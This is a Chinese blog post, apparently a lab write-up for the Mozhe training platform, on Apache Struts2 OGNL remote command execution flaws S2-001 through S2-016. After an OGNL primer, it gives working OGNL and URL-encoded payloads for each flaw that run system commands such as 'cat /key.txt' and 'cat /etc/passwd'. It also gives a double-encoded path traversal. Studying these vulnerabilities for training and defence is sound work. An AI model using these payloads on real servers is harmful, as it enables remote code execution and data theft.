墨者 - Struts2 命令执行系列

前言

     刷了好几道Struts2远程代码执行漏洞,发觉虽然触发不同,但是本质道理一样。所以整合一下目前刷过的Struts2系列漏洞。以后刷了新的再补充。

ongl 表达式

     Struts2 命令执行的原因都是是通过 Ognl 表达式执行 java 代码,最终实现命令执行。所以应该需要先了解 ognl 表达式  。

此处引用http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html的博主解释。

      OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(ExpressionLanguage,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
    OGNL 三要素:(以下部分摘抄互联网某处, 我觉得说得好)

  1. 表达式(Expression)

表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。我们可以看到,在上面的测试中,name、department.name 等都是表达式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多类型的表达式,之后我们会看到更多。

     2.根对象(Root Object)

根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后,你还需要指定到底“对谁干”。在上面的测试代码中,user 就是根对象。这就意味着,我们需要对 user 这个对象去取 name 这个属性的值(对 user 这个对象去设置其中的 department 中的 name 属性值)。

     3.上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作 “在哪里干”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root
Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root
Object)的存取操作的表达式是不需要增加 #符号进行区分的。

     ONGL具体的调用底层java对象机制解释:https://blog.csdn.net/zhangzeyuaaa/article/details/53676073

1. 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
2. 对容器变量的访问
对容器变量的访问,通过#符号加上表达式进行。
例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
3. 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
4. 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
同时,OGNL支持对Map的按键值查找:
例如:#session['mySessionPropKey']
不仅如此,OGNL还支持容器的构造的表达式:
例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建:
例如:new Java.net.URL("xxxxxx/")
5. 对静态方法或变量的访问
要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources
6. 方法调用
直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
7. 投影和选择
OGNL支持类似数据库中的投影(projection) 和选择(selection)。
投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
例如:group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建 ProcessBuilder 对象。

#_memberAccess["allowStaticMethodAccess"]=true // 用来授权允许调用静态方法
或
new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()

S2-001

原理:该漏洞其实是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析。

试着直接执行%{1+1}

ONGL被执行

  直接get key

%{

#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(),

#b=#a.getInputStream(),

#c=new java.io.InputStreamReader(#b),

#d=new java.io.BufferedReader(#c),

#e=new char[50000],

#d.read(#e),

#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),

#f.getWriter().println(new java.lang.String(#e)),

#f.getWriter().flush(),#f.getWriter().close()

}

s2-004

s2-004 是一个目录遍历漏洞,对../ 进行二次编码之后可以去越权访问敏感数据,

/struts/..%252f..%252f..%252f..%252f..%252f..%252fshowcase.jsp

s2-007

原理:若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回 。当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'"+ value +"'" 然后对其进行 OGNL表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意OGNL 表达式。

poc如下

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat /key.txt').getInputStream())) + '

 

S2-008

原理:为防止攻击者在调用参数标志中的任意方式xwork.MethodAccessor.denyMethodExecution设定为trueSecurityMemberAccess现场allowStaticMethodAccess被设置为false默认。与S2007类似,唯一不同的是,S2-008

还需要开启开发者debug模式才能生效

poc如下

action?debug=command&expression=(#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()))

 

S2-009

查看官方漏洞描述与博客链接:https://blog.csdn.net/fly_hps/article/details/85001659

触发地址/ajax/example5.action

poc如下

ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27ls%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

发现ls 查看命令无果,直接上k8,选择S2-016漏洞

 

S2-013

原理:在对标签进行请求参数操作时禁用 OGNL 表达式解析 Struts2 标签中 <s:a> 和 <s:url> 都包含一个includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认) get - 链接只包含 GET 请求中的参数和其值 all - 链接包含 GET 和POST 所有参数和其值 若设置了 includeParams="get" 或者includeParams="all",在获取对应类型参数时后端会对参数值进行 OGNL 表达式解析,因此可以插入任意 OGNL表达式导致命令执行

poc如下

url=%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27cat+key.txt%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew+java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b50000%5d%2c%23c.read(%23d)%2c%23out%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23out.println(%23d)%2c%23out.close())%7d

S2-015

针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:/{1}.jsp
上述配置能让我们访问 name.action 时使用 name.jsp来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name值的位置比较特殊,一些特殊的字符如 / " 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

/%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

 

S2-016

“action:”,”redirect:”,”redirectAction:” 这些前置前缀调用DefaultActionMapper 类支持以 action:,redirect: 和 redirectAction:
作为访问前缀,前缀后面可以跟 OGNL 表达式,由于 Struts2 未对其进行过滤,导致任意 Action 可以使用这些前缀执行任意
OGNL 表达式,从而导致任意命令执行,原理描述这一篇也写得很好:https://blog.csdn.net/u013851082/article/details/53692313

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/key.txt'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

下载txt

打开文件

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值